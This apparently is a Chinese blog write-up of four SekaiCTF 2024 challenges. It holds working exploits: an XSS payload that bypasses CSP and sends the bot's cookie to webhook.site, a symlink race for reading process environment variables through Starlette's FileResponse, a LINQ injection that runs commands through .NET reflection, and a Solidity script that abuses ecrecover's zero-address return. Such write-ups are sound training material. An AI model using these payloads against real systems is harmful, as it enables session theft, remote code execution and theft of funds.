MysidBlog
主页 友链 关于

SekaiCTF2024复现

LastUpdate: 2024-09-14

WEB | Tagless

题目需要绕过CSP策略利用XSS窃取bot的cookie,由于 script-src self 不包含 unsafe-inline 需要加载同源 js 文件。

app = Flask(__name__, static_folder='static')

@app.after_request
def add_security_headers(resp):
    resp.headers['Content-Security-Policy'] = "script-src 'self'; style-src 'self' https://fonts.googleapis.com https://unpkg.com 'unsafe-inline'; font-src https://fonts.gstatic.com;"
    return resp

 

404页面会返回可控内容,通过 404 页面构造 js 文件并加载。

@app.errorhandler(404)
def page_not_found(error):
    path = request.path
    return f"{path} not found"

 

EXP:

<script src='/**/alert(1)//'></script>

http://127.0.0.1:5000/<script src='/**/fetch(`https://webhook.site/id`,{method:`post`,body:`${document.cookie}`})//'></script>

 

WEB | funny-lfr

题目展示了一个有趣的Starlette FileResponse bug,允许选手使用 ssh 登录靶机与starlette服务交互,flag在服务用户的环境变量中。

from starlette.applications import Starlette
from starlette.routing import Route
from starlette.responses import FileResponse


async def download(request):
    return FileResponse(request.query_params.get("file"))


app = Starlette(routes=[Route("/", endpoint=download)])

 

我们尝试读取 /etc/passwd 成功,但是读取 /proc/self/environ 就不会返回内容。

user@02cd7ed65cbe:/$ curl 127.0.0.1:1337/?file=/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
......

user@02cd7ed65cbe:/$ curl 127.0.0.1:1337/?file=/proc/self/environ

 

查看 FileResponse 的实现 starlette/responses.py 发现它会调用 stat 命令获取文件大小来设置content-length,而 /proc 中的进程信息是读取时动态生成的并非静态文件,所以调用后content-length为0返回内容为空。

def set_stat_headers(self, stat_result: os.stat_result) -> None:
    content_length = str(stat_result.st_size)
    last_modified = formatdate(stat_result.st_mtime, usegmt=True)
    etag_base = str(stat_result.st_mtime) + "-" + str(stat_result.st_size)
    etag = f'"{md5_hexdigest(etag_base.encode(), usedforsecurity=False)}"'

    self.headers.setdefault("content-length", content_length)
    self.headers.setdefault("last-modified", last_modified)
    self.headers.setdefault("etag", etag)

 

可以通过条件竞争解决这个问题,让一个软链接来回指向/etc/passwd和/proc/self/environ,如果刚好在调用stat时指向/etc/passwd之后在读取时指向/proc/self/environ就能成功读取环境变量中的flag。

 

EXP:

#!/bin/bash

while true
do
ln -sf /etc/passwd /home/user/fileln
ln -sf /proc/self/environ /home/user/fileln
done
#!/bin/bash

while true; do
    response=$(curl http://127.0.0.1:1337/?file=/home/user/fileln)
    
    if [[ "$response" == *"PATH"* ]]; then
        echo "$response"
        break
    fi
done

 

WEB | Intruder

.NET实现的图书信息后台,存在搜索和添加图书的 api,使用 ilspy 反编译后查看源码发现 LINQ 注入点。

public IActionResult Index(string searchString, int page = 1, int pageSize = 5)
{
    try
    {
        IQueryable<Book> source = _books.AsQueryable();
        if (!string.IsNullOrEmpty(searchString))
        {
        // 执行linq查询时没经过转义而是直接拼接字符串
            
            source = source.Where("Title.Contains(\"" + searchString + "\")");
        }
        int num = source.Count();
        int totalPages = (int)Math.Ceiling((double)num / (double)pageSize);
        List<Book> books = source.Skip((page - 1) * pageSize).Take(pageSize).ToList();
        BookPaginationModel model = new BookPaginationModel
        {
            Books = books,
            TotalPages = totalPages,
            CurrentPage = page
        };
        return View(model);
    }
    catch (Exception)
    {
        base.TempData["Error"] = "Something wrong happened while searching!";
        return Redirect("/books");
    }
}

 

Linq 允许执行方法,利用反射绕过类型白名单获取 System.Diagnostics.Process 并执行命令。

 

EXP:

a") AND "".GetType().Assembly.DefinedTypes.Where(it.Name = "AppDomain").First().DeclaredMethods.Where(it.Name = "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.W here(it.Name = "AppDomain").First().DeclaredProperties.Where(it.name = "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.Defin edTypes.Where(it.Name = "Process").First().DeclaredMethods.Where(it.name = "Start").Take(3).Last().Invoke(null, "/usr/bin/cat;/flag".Split(";".ToCharArray())).GetType().ToString() = "a" AND "1"=("1
  1. 调用 System.AppDomain 的 CreateInstanceAndUnwrap 获取 Process 类的引用,由于白名单限制利用 Split(";".ToCharArray()) 的方式创建数组作为参数。
  2. 调用 Process 的 Start 方法执行cat /flag

 

BlockChain | PlayToEarn

初始化向 coin 合约转移了20 ether,其中 owner 拥有 1 ether,其余19 ether记录到了0地址上,要求 player 至少获得 13.37 ether 才能拿到 flag。

contract Setup {

    Coin public coin;
    ArcadeMachine public arcadeMachine;

    address public player;

    constructor() payable {
        coin = new Coin();
        arcadeMachine = new ArcadeMachine(coin);

        // Assume that many people have played before you ;)
        require(msg.value == 20 ether);
        coin.deposit{value: 20 ether}();
        coin.approve(address(arcadeMachine), 19 ether);
        arcadeMachine.play(19);
    }

    function register() external {
        require(player == address(0));
        player = msg.sender;
        coin.transfer(msg.sender, 1337);    // free coins for new players :)
    }

    function isSolved() external view returns (bool) {
        return player != address(0) && player.balance >= 13.37 ether;
    }
}
function play(uint256 times) external {
    // burn the coins
    require(coin.transferFrom(msg.sender, address(0), 1 ether * times));
    // Have fun XD
}

 

Coin 合约和 ERC-20 相比主要加了 privilegedWithdraw 和 permit 函数,分别用于 owner 提取0地址余额和通过签名来授权代币。

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/EIP712.sol";

contract Coin is Ownable, EIP712 {
    function privilegedWithdraw() onlyOwner external {
        uint wad = balanceOf[address(0)];
        balanceOf[address(0)] = 0;
        payable(msg.sender).transfer(wad);
        emit PrivilegedWithdrawal(msg.sender, wad);
    }
    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external {
        require(block.timestamp <= deadline, "signature expired");
        bytes32 structHash = keccak256(
            abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)
        );
        bytes32 h = _hashTypedDataV4(structHash);
        address signer = ecrecover(h, v, r, s);
        require(signer == owner, "invalid signer");
        allowance[owner][spender] = value;
        emit Approval(owner, spender, value);
    }
}

 

由于 ecrecover 恢复失败会返回0地址,所以就导致了我们可以利用签名把0地址的余额转移到 player 账户完成挑战。

 

EXP:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

import "forge-std/Script.sol";
import { Coin } from "../src/Coin.sol";
import { Setup } from "../src/Setup.sol";
import { ArcadeMachine } from "../src/ArcadeMachine.sol";

contract SolveScript is Script {
    
    // 设置合约地址和player用户
    
    address setupAddress = 0x00E99485db1BB3E530b72eAAAAb0cC47f5c74104;

    address player = 0x29114a46B8806eB24f81A7f1AD259Cd6b4E7Db49;

    uint256 privateKey = vm.envUint("PRIVATE_KEY");

    // 初始化合约
    
    Setup setup = Setup(setupAddress);
    Coin coin = setup.coin();
    ArcadeMachine arcadeMachine = setup.arcadeMachine();

    // 执行脚本

    function run() external {
    
        vm.startBroadcast(privateKey);
        
        setup.register();
        coin.permit(address(0), player, type(uint256).max, type(uint256).max, 0, 0, 0);
        coin.transferFrom(address(0),player,coin.balanceOf(address(0)));
        coin.withdraw(coin.balanceOf(player));

        vm.stopBroadcast();

        console.log("balance: ",player.balance);
        console.log("isSolved: ", setup.isSolved());
    }
}
forge script solve/solve.s.sol:SolveScript --rpc-url https://play-to-earn.chals.sekai.team/5e6ae4ff-f298-400b-9bcb-74e54206115a --broadcast